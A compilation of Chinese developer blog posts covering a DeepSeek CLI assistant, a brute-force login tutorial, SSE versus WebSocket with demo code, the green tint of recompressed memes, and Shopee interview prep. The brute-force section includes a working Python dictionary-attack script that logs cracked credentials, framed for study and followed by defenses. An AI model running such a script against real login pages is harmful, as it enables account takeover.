vNode.appContext = curInstance?.appContext
render(vNode,container)
this.$el.appendChild(container)
}
})
<script>
但这种,确实是为了实现那个例子而写的代码。有些可以作为参考。
暂时分享这些,欢迎前端佬们拍砖。
来源:juejin.cn/post/7450836153258049572
用 DeepSeek 打造你的超强代码助手
大家好,今天我想给你们介绍一个我最近发现的工具,叫 DeepSeek Engineer。它是一个专门为开发者打造的代码助手应用,可以帮你读文件、改文件,甚至生成代码。更厉害的是,它完全基于 DeepSeek API,能实时生成 JSON 格式的响应,让你的开发体验提升一个档次。
DeepSeek Engineer 是啥?
简单来说,DeepSeek Engineer 是一个基于命令行的智能助手。它能帮你完成这些事:
- 快速读文件内容:比如你有个配置文件,直接用命令把它加载进助手,后续所有操作都可以基于这个文件。
- 自动改文件:它不仅能提建议,还可以直接生成差异表(diff),甚至自动应用修改。
- 智能代码生成:比如你让它生成代码片段,它会按照指定格式和规则直接返回。
更重要的是,这一切都是通过 DeepSeek 的强大 API 来实现的。想象一下,你有个贴身助手,不仅能听懂你的代码需求,还能直接动手帮你写!
核心功能拆解
我们先来看 DeepSeek Engineer 的几个核心能力,让你更好地理解它的强大之处。
1. 自动配置 DeepSeek 客户端
启动这个工具时,你只需要准备一个 .env
文件,里面写上你的 API Key,比如:
DEEPSEEK_API_KEY=your_api_key_here
然后它会自动帮你连接到 DeepSeek 的服务器(地址通过环境变量配置)。接下来,所有的对话和操作都走这个 API,让你体验到类似 GPT 的流畅交互。
2. 数据模型:严格又灵活
DeepSeek Engineer 使用了 Pydantic 来定义和管理数据模型,这保证了所有操作都很安全且清晰。比如,它的模型包括以下几个部分:
- FileToCreate:描述新建或更新的文件。
- FileToEdit:定义某个文件里需要替换的代码片段。
- AssistantResponse:用来结构化处理助手返回的对话内容和文件操作。
具体来说,如果你想改文件内容,可以让它返回一个 JSON 格式的修改建议,类似这样:
{
"file": "example.py",
"changes": [
{
"original": "print('Hello')",
"replacement": "print('Hello, DeepSeek!')"
}
]
}
这种方式既直观又安全,你完全可以放心地应用这些修改。
3. 强大的系统 Prompt
DeepSeek Engineer 背后有一个设计得非常好的系统 Prompt,它会引导对话始终输出结构化的 JSON 数据,同时还能支持文件创建和编辑操作。
这个设计的好处是,开发者不用担心助手回复出错或格式混乱。所有的响应都像程序接口一样,清晰、标准。
4. 常用 Helper 函数
工具中还提供了一些实用的函数,专门用来操作文件和内容:
read_local_file
:快速读取本地文件内容,返回成字符串。create_file
:帮你新建或覆盖文件。show_diff_table
:生成一个漂亮的差异表,展示文件修改前后的对比。apply_diff_edit
:直接应用代码片段级别的修改。
比如,你想更新一个文件里的某段代码,只需输入以下命令:
/add path/to/file
DeepSeek 会把这个文件的内容加载进来,你可以继续对话,让它生成修改建议并直接应用到文件中。
5. 交互式会话
运行主程序(比如 python3 main.py
),你会进入一个交互式的命令行界面。这里你可以随时输入请求、加载文件,或者让助手生成代码。
完整操作流程可以是这样的:
- 启动工具:
python3 main.py
- 加载一个文件:
/add example.py
- 让助手修改内容:
请把函数 `foo` 改成返回值为整数。
- 查看生成的建议并确认应用。
是不是很贴心?
与其他工具的对比
市面上其实有不少类似的代码助手,比如 GitHub Copilot、TabNine 等。那么 DeepSeek Engineer 和它们相比有什么特别之处呢?我们通过下表来简单对比一下:
功能 | DeepSeek Engineer | GitHub Copilot | TabNine |
---|---|---|---|
文件内容读取 | ✅ 支持 | ❌ 不支持 | ❌ 不支持 |
文件修改和应用 | ✅ 支持 | ❌ 不支持 | ❌ 不支持 |
JSON 响应结构化 | ✅ 内置支持 | ❌ 不支持 | ❌ 不支持 |
离线使用 | ❌ 需要联网 | ❌ 需要联网 | ✅ 部分支持 |
灵活性和可定制性 | ✅ 可配置 Prompt | ❌ 不支持 | ❌ 不支持 |
可以看出,DeepSeek Engineer 更加注重文件操作和开发流程的实际需求,非常适合需要精确控制和定制化的场景。
如何快速上手?
最后,说点大家最关心的:怎么用?
- 准备环境
- 安装依赖:
pip install -r requirements.txt
- 配置 API Key:创建
.env
文件,写入你的 Key。
- 安装依赖:
- 启动工具
- 直接运行主程序:
python3 main.py
- 直接运行主程序:
- 体验功能
- 用
/add
命令加载文件:
/add your_file.py
- 提出需求,让助手生成代码或修改建议。
- 用
- 探索更多用法
- 修改配置,试试用不同的环境变量自定义连接方式。
来源:juejin.cn/post/7454888708588945443
前端安全问题 - 爆破登录
声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。
暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工具,如字典攻击、暴力攻击等来加快攻击速度。这种攻击通常针对用户使用弱密码、没有启用多因素身份验证等情况。
一、发现问题
常见情况
Web 应用的登录认证模块容易被暴破登录的情况有很多,以下是一些常见的情况:
- 弱密码:如果用户的密码过于简单,容易被暴破猜解,例如使用常见的密码或者数字组合,或者密码长度太短。
- 没有账户锁定机制:如果网站没有设置账户锁定机制,在多次登录失败后未对账户进行锁定,攻击者可以继续尝试暴破登录。
- 未加密传输:如果用户在登录时使用的是未加密的 HTTP 协议进行传输,攻击者可以通过网络抓包等方式获取用户的账户名和密码,从而进行暴破登录。
- 没有 IP 地址锁定:如果网站没有设置 IP 地址锁定机制,在多次登录失败后不对 IP 地址进行锁定,攻击者无限制的继续尝试暴破登录。
- 没有输入验证码:如果网站没有输入验证码的机制,在多次登录失败后不要求用户输入验证码,攻击者可以通过自动化程序进行暴破登录。
- 使用默认账户名和密码:如果网站的管理员或用户使用了默认的账户名和密码,攻击者可以通过枚举默认账户名和密码的方式进行暴破登录。
常用工具
为了检测 Web 应用的登录认证模块是否存在暴破登录漏洞,可以使用以下工具:
- Burp Suite:Burp Suite 是一款常用的 Web 应用程序安全测试工具,其中包含了许多模块和插件,可用于检测网站的登录认证模块是否存在暴破登录漏洞。
- OWASP ZAP:OWASP ZAP 是一个免费的 Web 应用程序安全测试工具,可以用于检测登录认证模块的安全性,并提供一系列的攻击模拟工具。
需要注意的是,这些工具只应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。
二、分析问题
对目标 Web 应用进行暴破登录攻击实例:
1. 通过 Google Chrome 开发者工具查看登录请求接口地址、请求参数和响应数据等信息
可以在登录界面随意输入一个账号和密码,然后点击登录,即可在开发者工具的网络面板查看登录接口相关信息。
- 请求地址:
由图可知,应用使用的是 HTTP 协议,而不是更安全的 HTTPS 协议。
- 请求参数:
由图可知,登录接口的请求参数用户名和密码用的都是明文。
- 响应数据:
2. 构建目标 Web 应用 URL 字典、账号字典和密码字典
- URL 字典
url.txt
:
http://123.123.123.123:1234/
- 账号字典
usr.txt
:
admin
admin 是很多 Web 后端管理应用常用的管理员默认账号。
- 密码字典
pwd.txt
:
1234
12345
123456
密码字典是三个被常用的弱密码。
3. 暴力破解登录代码示例
Python 脚本代码示例:
from io import TextIOWrapper
import json
import logging
import os
import time
import requests
from requests.adapters import HTTPAdapter
g_input_path = './brute_force_login/input/'
g_output_path = './brute_force_login/output/'
def log():
# 创建日志文件存放文件夹
root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
log_dir = os.path.join(root_dir, 'logs', 'brute_force_login')
if not os.path.exists(log_dir):
os.mkdir(log_dir)
# 创建一个日志器
logger = logging.getLogger("logger")
# 设置日志输出的最低等级,低于当前等级则会被忽略
logger.setLevel(logging.INFO)
# 创建处理器:sh为控制台处理器,fh为文件处理器
sh = logging.StreamHandler()
# 创建处理器:sh为控制台处理器,fh为文件处理器,log_file为日志存放的文件夹
log_file = os.path.join(log_dir, "{}.log".format(
time.strftime("%Y-%m-%d", time.localtime())))
fh = logging.FileHandler(log_file, encoding="UTF-8")
# 创建格式器,并将sh,fh设置对应的格式
formator = logging.Formatter(
fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")
sh.setFormatter(formator)
fh.setFormatter(formator)
# 将处理器,添加至日志器中
logger.addHandler(sh)
logger.addHandler(fh)
return logger
globalLogger = log()
def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):
# 请求头
headers = {
"content-type": "application/json",
'User-Agent': 'Mozilla/5.0 (Macint0sh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
}
if authorizationBase64Str != '':
headers['Authorization'] = 'Basic ' + authorizationBase64Str
proxies = {}
if proxyIpPort != "localhost":
proxies = {
"http": "http://" + proxyIpPort,
"https": "http://" + proxyIpPort
}
try:
s = requests.Session()
# 配置请求超时重试
s.mount('http://', HTTPAdapter(max_retries=1))
s.mount('https://', HTTPAdapter(max_retries=1))
response =
# 构造发送请求
if method == 'get':
response = s.get(url=url, headers=headers, data=data,
proxies=proxies, timeout=(3.05, 1))
elif method == 'post':
response = s.post(url=url, headers=headers, data=data,
proxies=proxies, timeout=(3.05, 1))
else:
globalLogger.warning("Request Method Invalid")
return 'RequestException'
# 响应数据
globalLogger.info(
"MyRequest Request ResponseText:\n {}".format(response.text))
return response.text
except requests.exceptions.RequestException as e:
globalLogger.warning("RequestException: {}".format(e))
return 'RequestException'
def getStrListFromFile(fileContent: TextIOWrapper):
return fileContent.read().rstrip('\n').replace('\n', ';').split(';')
def attackTargetSite(url: str, usr: str, pwd: str):
reStr = 'FAIL'
fullUrl = url + 'webapp/web/login'
globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))
reqData = {
"name": usr,
"password": pwd
}
resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))
if '"status":200' in resp:
reStr = 'SUCCESS'
elif 'RequestException' in resp:
reStr = 'RequestException'
return reStr
def attack():
try:
input_path = g_input_path
# 读取url文件
input_url_filename = 'url.txt'
urlFileContent = open(os.path.join(
input_path, input_url_filename), 'r')
url_list = getStrListFromFile(urlFileContent)
# 读取用户名字典文件
input_usr_filename = 'usr.txt'
usrFileContent = open(os.path.join(
input_path, input_usr_filename), 'r')
usr_list = getStrListFromFile(usrFileContent)
# 读取密码字典文件
input_pwd_filename = 'pwd.txt'
pwdFileContent = open(os.path.join(
input_path, input_pwd_filename), 'r')
pwd_list = getStrListFromFile(pwdFileContent)
# 输出文件路径及名称
output_path = g_output_path
output_hacked_url = 'hackedUrlAndPwd.txt'
with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:
i = 0
for url in url_list:
i += 1
j = 0
for usr in usr_list:
j += 1
resp = 'FAIL'
k = 0
for pwd in pwd_list:
k += 1
resp = attackTargetSite(url, usr, pwd)
if resp == 'SUCCESS':
output_file.write(url + '\n')
output_file.write('{}:{}\n'.format(usr, pwd))
# 数据实时写入文件(无缓冲写入)
output_file.flush()
pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(
i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)
globalLogger.info(pStr)
break
elif 'RequestException' in resp:
pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)
globalLogger.info(pStr)
break
else:
pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)
globalLogger.info(pStr)
if resp == 'SUCCESS':
break
elif 'RequestException' in resp:
break
finally:
if urlFileContent:
urlFileContent.close()
if usrFileContent:
usrFileContent.close()
if pwdFileContent:
pwdFileContent.close()
if pipFileContent:
pipFileContent.close()
attack()
上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式,以及创建日志记录器,并返回该记录器。 myRequest 函数用于发送 HTTP 请求,并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后,函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件,以此作为参数进行攻击,并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。
成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中,如:
http://123.123.123.123:1234/
admin:1234
其中, http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL,admin 为账号,1234 为密码。
由上述代码可知,在目标 Web 应用站点存在使用弱密码、默认账户和密码(弱)、无锁定账户功能、无验证码功能等情况下,暴破登录是很容易成功的。
三、解决问题
防范措施
以下是一些预防暴力破解登录的措施:
- 强制密码复杂度:应用程序应该强制用户使用复杂的密码,如包含数字、字母和符号,并设置密码最小长度限制,以减少暴力破解的成功率。
- 锁定账户:应用程序应该有一个策略来锁定用户账户,例如,如果用户连续多次输入错误的密码,应该锁定账户一段时间,以减少暴力破解攻击的成功率。
- 安全加密:密码应该使用安全的加密方式进行存储,以防止攻击者获取敏感信息。开发人员应该使用强密码哈希算法,并对散列值使用盐进行加密,从而增加破解难度。
- IP 地址锁定:设置 IP 地址锁定机制,在多次登录失败后对 IP 地址进行锁定,增加攻击者的攻击成本,当然,攻击者也是可以通过更换代理 IP 的方式继续尝试暴破登录。
- 添加验证码:添加验证码是一种简单而有效的防止暴力破解登录的方法。在登录界面添加验证码,可以有效地防止自动化工具的攻击。
- 检查 IP 地址:可以在用户登录时记录用户的 IP 地址,并在未授权的 IP 地址尝试登录时触发警报或阻止登录。
- 多因素身份验证:多因素身份验证是一种额外的安全层,通过使用至少两种身份验证因素来验证用户的身份,增加攻击者成功攻击的难度。通常,多因素身份验证会结合密码和另一种身份验证因素,如短信验证码、邮件验证、令牌等。
- 加强日志监控:开发人员应该在应用程序中记录关键事件和操作,并实时监控和分析日志,以发现潜在的安全威胁。
防御工具
以下是一些应对暴力破解登录的常用工具:
- Wireshark:Wireshark 是一个免费的网络协议分析工具,可以用于监视和分析网络数据包。通过使用 Wireshark,可以捕获网站登录认证过程中的网络数据包,以检查是否存在攻击者使用的暴破攻击模式。
- Fail2Ban:Fail2Ban 是一个安全性程序,可用于防止恶意暴破登录行为。它使用规则来检测多个失败登录尝试,并暂时禁止来自相同 IP 地址的任何进一步尝试。通过 Fail2Ban,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。
- Web Application Firewall(WAF):Web 应用程序防火墙是一种用于保护 Web 应用程序的安全性的网络安全控制器。WAF 可以检测和阻止恶意的登录尝试,并提供实时保护。通过使用 WAF,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。
- Log File Analyzer:日志文件分析工具可以用于分析网站日志文件,以确定是否存在任何异常登录尝试。通过分析登录活动的日志,可以发现任何暴破攻击的痕迹,并识别攻击者的 IP 地址。
需要注意的是,这些工具仅应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。在进行安全测试时,应获得相关方的授权和许可,并遵循合适的安全测试流程和规范。
来源:juejin.cn/post/7407610458788200475
如果让你实现实时消息推送你会用什么技术?轮询、websocket还是sse
前言
在日常的开发过程中,我们经常能碰见到需要主动推送消息给客户端数据的业务场景,比如数据大屏幕实时数据,聊天消息推送等等。
本文介绍sse:
服务端向客户端推送数据的方式有哪几种呢?
- WebSocket
- SSE
- 长轮询
轮询简介
长轮询是一种模拟实时通信的技术。在传统的Http请求中,客户端向服务端发送请求,并且在完成请求后立即响应,然后连接关闭。这意味着客户端需要不停的发送请求来更新数据。
相比之下,长轮询的思想是客户端发送一个Http到服务端,服务端不立即返回响应。相反,服务端会保持该请求打开,直到有新的数据可用或超时。如果有新的数据可用,服务端会立即返回响应,并关闭连接。此时,客户端会重新发起一个新的请求,继续等待新的数据。
使用长轮询的优势在于,它在大部分的浏览器中有更好的兼容性,因为它使用的是Http协议。缺点就是较高的延迟性、较大的资源消耗、以及大量并发操作可能导致服务端资源的瓶颈和一些浏览器对并发请求数目进行了限制比如chorme最大并发数目为6,这个限制前提是针对同一个域名下,超过这一限制后续请求就会堵塞。
websocket简介
websocket是一个双向通信的协议,它支持客户端和服务端彼此之间进行通信。功能强大。
缺点就是是一个新的协议,ws/wss,也就是说支持http协议的不一定支持ws协议。相比较websocket结构复杂并且比较重。
SSE简介
sse是一个单向通讯的协议也是一个长链接,它只能支持服务端主动向客户端推送数据,但是无法让客户端向服务端推送消息。
SSE的优点是,它是一个轻量级的协议,相对于websockte来说,他的复杂度就没有那么高,相对于客户端的消耗也比较少。而且_SSE使用的是http协议_(websocket使用的是ws协议),也就是现有的服务端都支持SSE,无需像websocket一样需要服务端提供额外的支持。
websocket和SSE有什么区别?
轮询
对于当前计算机的发展来说,几乎很少出现同时不支持websocket和sse的情况,所以轮询是在极端情况下浏览器实在是不支持websocket和see的下策。
Websocket和SSE
我们一般的服务端和客户端的通讯基本上使用这两个方案。首先声明:这两个方案没有绝对的好坏,只有在不同的业务场景下更好的选择。
SSE的官方对于SSE和Websocket的评价是
- WebSocket是全双工通道,可以双向通信,功能更强;SSE是单向通道,只能服务器向浏览器端发送。
- WebSocket是一个新的协议,需要服务器端支持;SSE则是部署在HTTP协议之上的,现有的服务器软件都支持。
- SSE是一个轻量级协议,相对简单;WebSocket是一种较重的协议,相对复杂。
- SSE默认支持断线重连,WebSocket则需要额外部署。
- SSE支持自定义发送的数据类型。
Websocket和SSE分别适用于什么业务场景?
对于SSE来说,它的优点就是轻,而且对于服务端的支持度要更好。换言之,可以使用SSE完成的功能需求,没有必要使用更重更复杂的websocket。
比如:数据大屏的实时数据,消息中心的消息推送等一系列只需要服务端单方面推送而不需要客户端同时进行反馈的需求,SSE就是不二之选。
对于Websocket来说,他的优点就是可以同时支持客户端和服务端的双向通讯_。所适用的业务场景:最典型的就是聊天功能。这种服务端需要主动向客户端推送信息,并且客户端也有向服务端推送消息的需求时,Websocket就是更好的选择。
SSE有哪些主要的API?
建立一个SSE链接 :var source = new EventSource(url);
SSE连接状态
source.readyState
- 0,相当于常量EventSource.CONNECTING,表示连接还未建立,或者连接断线。
- 1,相当于常量EventSource.OPEN,表示连接已经建立,可以接受数据。
- 2,相当于常量EventSource.CLOSED,表示连接已断,且不会重连。
SSE相关事件
- open事件(连接一旦建立,就会触发open事件,可以定义相应的回调函数)
- message事件(收到数据就会触发message事件)
- error事件(如果发生通信错误(比如连接中断),就会触发error事件)
数据格式
Content-Type: text/event-stream //文本返回格式
Cache-Control: no-cache //不要缓存
Connection: keep-alive //长链接标识
如何实操一个SSE链接?Demo↓
这里Demo前端使用的就是最基本的html静态页面连接,没有使用任何框架。后端选用语言是node,框架是Express。
理论上,把这两段端代码复制过去跑起来就直接可以用了。
- 第一步,建立一个index.html文件,然后复制前端代码Demo到index.html文件中,打开文件
- 第二步,进入一个新的文件夹,建立一个index.js文件,然后将后端Demo代码复制进去,然后在该文件夹下执行
npm init //初始化npm
npm i express //下载node express框架
node index //启动服务
上面三行之中,第一行的Content-Type
必须指定 MIME 类型为event-steam
。
每一次发送的信息,由若干个message
组成,每个message
之间用\n\n
分隔。每个message
内部由若干行组成,每一行都是如下格式。
[field]: value\n
上面的field
可以取四个值。
- data
- event
- id
- retry
此外,还可以有冒号开头的行,表示注释。通常,服务器每隔一段时间就会向浏览器发送一个注释,保持连接不中断。
: This is a comment
data 字段
数据内容用data
字段表示
data: message\n\n
如果数据很长,可以分成多行,最后一行用\n\n
结尾,前面行都用\n
结尾。
data: begin message\n
data: continue message\n\n
下面是一个发送 JSON 数据的例子。
data: {\n
data: "foo": "bar",\n
data: "baz", 555\n
data: }\n\n
id 字段
数据标识符用id
字段表示,相当于每一条数据的编号。
id: msg1\n
data: message\n\n
浏览器用lastEventId
属性读取这个值。一旦连接断线,浏览器会发送一个 HTTP 头,里面包含一个特殊的Last-Event-ID
头信息,将这个值发送回来,用来帮助服务器端重建连接。因此,这个头信息可以被视为一种同步机制。
event 字段
event
字段表示自定义的事件类型,默认是message
事件。浏览器可以用addEventListener()
监听该事件。
event: foo\n
data: a foo event\n\n
data: an unnamed event\n\n
event: bar\n
data: a bar event\n\n
retry 字段
服务器可以用retry
字段,指定浏览器重新发起连接的时间间隔。
retry: 10000\n
两种情况会导致浏览器重新发起连接:一种是时间间隔到期,二是由于网络错误等原因,导致连接出错。
上面的代码创造了三条信息。第一条的名字是foo
,触发浏览器的foo
事件;第二条未取名,表示默认类型,触发浏览器的message
事件;第三条是bar
,触发浏览器的bar
事件。
前端代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<ul id="ul"></ul>
</body>
<script>
//生成li元素
function createLi(data) {
let li = document.createElement("li");
li.innerHTML = String(data.message);
return li;
}
//判断当前浏览器是否支持SSE
let source = "";
if (!!window.EventSource) {
source = new EventSource("http://localhost:8088/sse/");
} else {
throw new Error("当前浏览器不支持SSE");
}
//对于建立链接的监听
source.onopen = function (event) {
console.log(source.readyState);
console.log("长连接打开");
};
//对服务端消息的监听
source.onmessage = function (event) {
console.log(JSON.parse(event.data));
console.log("收到长连接信息");
let li = createLi(JSON.parse(event.data));
document.getElementById("ul").appendChild(li);
};
//对断开链接的监听
source.onerror = function (event) {
console.log(source.readyState);
console.log("长连接中断");
};
</script>
</html>
后端代码
const express = require("express"); //引用框架
const app = express(); //创建服务
const port = 8088; //项目启动端口
//设置跨域访问
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
//允许的header类型
res.header(
"Access-Control-Allow-Headers",
"Content-Type, Authorization, X-Requested-With"
);
//跨域允许的请求方式
res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");
// 可以带cookies
res.header("Access-Control-Allow-Credentials", true);
if (req.method == "OPTIONS") {
res.sendStatus(200);
} else {
next();
}
});
app.get("/sse", (req, res) => {
res.set({
"Content-Type": "text/event-stream", //设定数据类型
"Cache-Control": "no-cache", // 长链接拒绝缓存
Connection: "keep-alive", //设置长链接
});
console.log("进入到长连接了");
//持续返回数据
setInterval(() => {
console.log("正在持续返回数据中ing");
const data = {
message: `Current time is ${new Date().toLocaleTimeString()}`,
};
res.write(`data: ${JSON.stringify(data)}\n\n`);
}, 1000);
});
//创建项目
app.listen(port, () => {
console.log(`项目启动成功-http://localhost:${port}`);
});
来源:juejin.cn/post/7340621143009067027
为什么网络上一些表情包在反复传播之后会变绿?“电子包浆”到底是怎么形成的?
大家好,我是程序员牛肉。
今天在和朋友聊天的时候,他发了一张很古老的表情包,整张图片呈现很明显的发绿状态。
这张图片直接将我的思绪拉回到七八年前,当时我还经常在QQ群里和别人斗图。大家发一些很经典的表情包的时候,这些图片就会呈现明显的发绿状态,当时的大家戏称这玩意是“电子包浆”。
你们有这种充满“电子包浆”的图片嘛?可以发在评论区看一看。那大家有没有想过这些图片为什么会发绿呢?
我们首先要明确一点:图片并不是因为反复传播而变绿的,而是因为在传播的过程中,各个软件都会对图片进行压缩来节省网络带宽。在反复压缩的过程中,图片就会出现这种明显的“电子包浆”感。
问题的根源出在安卓自己的核心代码上,它对外提供了一个压缩图片的接口。而这个接口使用的是Google的图像库Skia来提供服务。
对应的代码仓库
Google在Skip中采用了libjpeg - turbo来完成实际的压缩工作。而在进行压缩工作时,libjpeg - turbo 会先将图像从常见的 RGB 色彩空间转换为 YUV 色彩空间,这是整个压缩流程中的一个基础环节,为后续的离散余弦变换(DCT)、量化等压缩操作做准备。
[libjpeg - turbo是一个对 JPEG 图像编码和解码进行加速的库,是对传统 JPEG 库的优化和改进版本,具有更高的压缩和解压缩速度,同时保持了良好的图像质量。Skia 在进行 JPEG 图像压缩时,会调用 libjpeg - turbo 来完成实际的压缩工作,借助 libjpeg - turbo 的高效算法和优化实现,提升 JPEG 压缩的性能和效果。]
问题就出在RGB转YUV色彩空间的过程中,采用了降低精度来提高转换速度。而在这一过程中,采用了右移操作进行数据截断。
这个操作可了不得,他会直接截断小数部分。例如3.1就会变成3。也就是说YUV这三个值都会因为这个数据阶段而偏小。
我们来解释一下YUV这三个值的意思:
- Y(Luminance 或 Luma)
表示亮度(Luminance),也就是图像的明亮程度。它包含了图像的黑白信息,取值范围通常在 0 到 255 之间,0 代表黑色,255 代表白色,中间的值对应不同程度的灰色。亮度分量是图像中最重要的部分,人眼对亮度的变化比颜色的变化更为敏感,在图像处理和视频编码中,亮度信息通常被更精确地保留和处理,以保证图像的整体视觉效果。
- U(Chrominance Blue 或 Cb)
代表蓝色色度(Chrominance Blue),也称为蓝色分量。它反映的是图像中蓝色部分与亮度的差异信息,用于表示颜色中的蓝色偏移量。U 的值描述了图像中蓝色分量相对于亮度的偏离程度,其取值范围一般也在一定的数值区间内,例如 - 128 到 127 等,0 表示没有蓝色偏移,正值表示蓝色分量多于平均水平,负值表示蓝色分量少于平均水平。
- V(Chrominance Red 或 Cr)
表示红色色度(Chrominance Red),即红色分量。它体现的是图像中红色部分与亮度的差异,用于衡量颜色中的红色偏移量。V 的取值范围与 U 类似,也是在一定区间内,0 代表没有红色偏移,正值表示红色分量多于平均水平,负值表示红色分量少于平均水平。通过 V 的值可以确定图像中红色的含量和分布情况。
而网络上有一张图就很好的概括了YUV偏向的结果:
commons.wikimedia.org/wiki/File:Y…
图片对应网站
由于RGB转YUV中的阶段操作导致YUV这三个的计算值都要比真实值偏小。而在上述的图片中我们可以看到:这种偏小带来的结果就是整体的显色效果都要向右下角靠拢。
显然,YUV 计算机整体偏小导致结果就是:变暗,变绿。
而大多数互联网公司例如贴吧,QQ的客户端在进行图片压缩算法的时候都采用的是安卓提供的这一套压缩图片的算法。
这也就导致了“电子包浆”的重灾区一般就集中在贴吧和QQ中。
而Google在2016年的4月19日才正式的修复了这个bug。在百度查询了一下对应的Android发布版本,也就是说Android7才消除了这个问题。
这个bug的修复很简单,在代码层面的表现为:把原本 Skia 库 YUV 转换代码全部删掉,把这个过程留给整个过程最底层的 libjpeg-turbo 库自己来做,并且用默认的 JDCT_ISLOW 方法代替 JDCT_IFAST 方法。
对应的PR
总结一下呢:就是在图片压缩的过程中需要先将RGB色彩空间转化为YUV色彩空间。但是在转化的过程中对小数的处理并不到位。导致计算出来的YUV比真实的YUV值要偏小。反映在图片上就是整体偏暗偏绿。
那么今天关于“图片为什么会有电子包浆”的内容就介绍到这里了。相信通过我的介绍,你已经大致了解了为什么会出现这种情况。希望我的文章可以帮到你。
你有没有这种“电子包浆”的图片呢?听说现在评论区可以发视频了。快在评论区里发出来让大家看看吧。
关注我,带你了解更多技术干货。
来源:juejin.cn/post/7467099560520859663
虾皮开的很高,还有签字费。
大家好,我是二哥呀。
虾皮在去年之前,还是很多大厂人外逃的首选项,因为总部在新加坡,比较有外企范,但去年就突然急转直下,队伍收紧了不少。
作为东南亚电商市场的领头羊,市场覆盖了新加坡、马来西亚、泰国、菲律宾、印尼、越南等地,目前也开始进军巴西和墨西哥等新兴市场。
我从 offershow 上也统计了一波 25 届虾皮目前开出来的薪资状况,方便大家做个参考。
- 本科 985,后端岗,给了 32k,还有 5 万签字费,自己硬 A 出来的,15 天年假,base 上海,早 9.30 晚 7 点
- 硕士双一流,后端给了 40 万年包,但已经签了其他的三方,拒了,11 月 31 日下午开的
- 硕士 985,后端开发,给到了 23k,白菜价,主要面试的时候表现太差了
- 硕士海归,后端开发给了 26.5k,还有三万签字费,咩别的高,就释放了
- 硕士211,测试岗,只给了 21k,还有 3 万年终奖,但拒了
从目前统计到的情况来看,虾皮其实还蛮舍得给钱的,似乎有点超出了外界对他的期待。但很多同学因为去年的情况,虾皮只能拿来做备胎,不太敢去。
从虾皮母公司 Sea 发布的2024 年第三季度财报来看,电子商务(主要是 Shopee)收入增长了 42.6%,达到了 31.8 亿美元,均超预期。
总之,希望能尽快扭转颓势吧,这样学 Java 的小伙伴也可以有更多的选择。
那接下来,我们就以 Java 面试指南中收录的虾皮面经同学 13 一面为例,来看看下面的面试难度,自己是否有一战之力。
虾皮面经同学 13 一面
tcp为什么是可靠的
TCP 首先通过三次握手和四次挥手来保证连接的可靠性,然后通过校验和、序列号、确认应答、超时重传、滑动窗口等机制来保证数据的可靠传输。
①、校验和:TCP 报文段包括一个校验和字段,用于检测报文段在传输过程中的变化。如果接收方检测到校验和错误,就会丢弃这个报文段。
推荐阅读:TCP 校验和计算方法
②、序列号/确认机制:TCP 将数据分成多个小段,每段数据都有唯一的序列号,以确保数据包的顺序传输和完整性。同时,发送方如果没有收到接收方的确认应答,会重传数据。
③、流量控制:接收方会发送窗口大小告诉发送方它的接收能力。发送方会根据窗口大小调整发送速度,避免网络拥塞。
④、超时重传:如果发送方发送的数据包超过了最大生存时间,接收方还没有收到,发送方会重传数据包以保证丢失数据重新传输。
⑤、拥塞控制:TCP 会采用慢启动的策略,一开始发的少,然后逐步增加,当检测到网络拥塞时,会降低发送速率。在网络拥塞缓解后,传输速率也会自动恢复。
http的get和post区别
GET 请求主要用于获取数据,参数附加在 URL 中,存在长度限制,且容易被浏览器缓存,有安全风险;而 POST 请求用于提交数据,参数放在请求体中,适合提交大量或敏感的数据。
另外,GET 请求是幂等的,多次请求不会改变服务器状态;而 POST 请求不是幂等的,可能对服务器数据有影响。
https使用过吗 怎么保证安全
HTTP 是明文传输的,存在数据窃听、数据篡改和身份伪造等问题。而 HTTPS 通过引入 SSL/TLS,解决了这些问题。
SSL/TLS 在加密过程中涉及到了两种类型的加密方法:
- 非对称加密:服务器向客户端发送公钥,然后客户端用公钥加密自己的随机密钥,也就是会话密钥,发送给服务器,服务器用私钥解密,得到会话密钥。
- 对称加密:双方用会话密钥加密通信内容。
客户端会通过数字证书来验证服务器的身份,数字证书由 CA 签发,包含了服务器的公钥、证书的颁发机构、证书的有效期等。
https能不能抓包
可以,HTTPS 可以抓包,但因为通信内容是加密的,需要解密后才能查看。
